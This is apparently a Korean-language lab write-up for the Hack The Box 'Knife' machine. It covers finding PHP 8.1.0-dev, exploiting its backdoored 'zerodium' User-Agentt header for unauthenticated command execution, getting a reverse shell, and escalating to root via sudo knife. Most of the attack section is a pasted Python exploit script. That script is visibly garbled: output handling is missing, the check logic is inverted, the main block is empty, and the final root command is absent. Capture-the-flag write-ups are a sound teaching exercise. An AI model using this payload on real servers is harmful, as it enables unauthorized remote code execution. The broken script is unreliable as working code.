HTB-Knife Write up

HTB-Knife Write up


Port Scan

image 포트스캔 결과

Web Enum

Response header에서 php 서버 정보 발견

이미지 1 php 8.1.0-dev

검색결과 CVE와 리버스쉘이 가능한 코드 획득

image image

# Exploit Title: PHP 8.1.0-dev (backdoor) | Remote Command Injection (Unauthenticated)
# Date: 23/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage:
# Software Link:
# Version: PHP 8.1.0-dev
# Tested on: Linux Ubuntu 20.04.2 LTS (5.4.0-72-generic)

# Based on the recent PHP/8.1.0-dev backdoor
# Infomation:
# Reference:
# Vuln code in the link above (Original)
# When adding "zerodium" or  at the start of the user-agent field, will execute php code on the server
#  convert_to_string(enc);
#	if (strstr(Z_STRVAL_P(enc), "zerodium")) {
#		zend_try {
#			zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

#Usage: python3 -u -c ls

#!/usr/bin/env python3
import requests
import argparse

from requests.models import parse_header_links 

s = requests.Session()

def checkTarget(args):
    r = s.get(args.url)    
    for h in r.headers.items():
        if "PHP/8.1.0-dev" in h[1]:
            return True
    return False

def execCmd(args):
    r = s.get(args.url, headers={"User-Agentt":"zerodiumsystem(\""+args.cmd+"\");"})
    res = r.text.split("<!DOCTYPE html>")[0]
    if not res:
        print("[-] No Results")
        print("[+] Results:")

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="Target URL (Eg:", required=True)
    parser.add_argument("-c", "--cmd", help="Command to execute (Eg: ls,id,whoami)", default="id")
    args = parser.parse_args()

    if checkTarget(args):
        print("[!] Not Vulnerable or url error")
if __name__ == "__main__":

Exploit, Privilege Escape

image 리버스쉘 획득

sudo -l 입력 시 knife가 root 권한으로 사용가능한것을 확인


GTFOBins에서 검색 결과 아래의 명령어로 root shell 획득 가능